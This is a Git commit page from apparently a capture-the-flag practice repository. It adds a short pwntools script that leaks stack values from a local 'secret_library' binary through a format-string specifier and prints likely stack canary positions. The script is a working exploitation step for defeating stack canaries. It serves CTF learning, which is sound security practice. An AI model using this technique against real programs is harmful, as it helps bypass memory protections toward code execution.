Second CTFs part
This commit is contained in:
17
canary/04_secret_library/find_canary.py
Normal file
17
canary/04_secret_library/find_canary.py
Normal file
@@ -0,0 +1,17 @@
|
||||
#!/usr/bin/env python3
|
||||
from pwn import *
|
||||
import re
|
||||
|
||||
elf = context.binary = ELF("./secret_library", checksec=False)
|
||||
|
||||
context.log_level='warn'
|
||||
for i in range(35):
|
||||
p = process(elf.path)
|
||||
p.recvline()
|
||||
p.sendline(f"%{i}$lx")
|
||||
val = p.recvline().split(b",")[1].strip()
|
||||
if( val[-2:] == b"00"):
|
||||
print(f"Possible canary: {val} at position: {i}")
|
||||
p.shutdown()
|
||||
|
||||
#p.interactive()
|
||||
Reference in New Issue
Block a user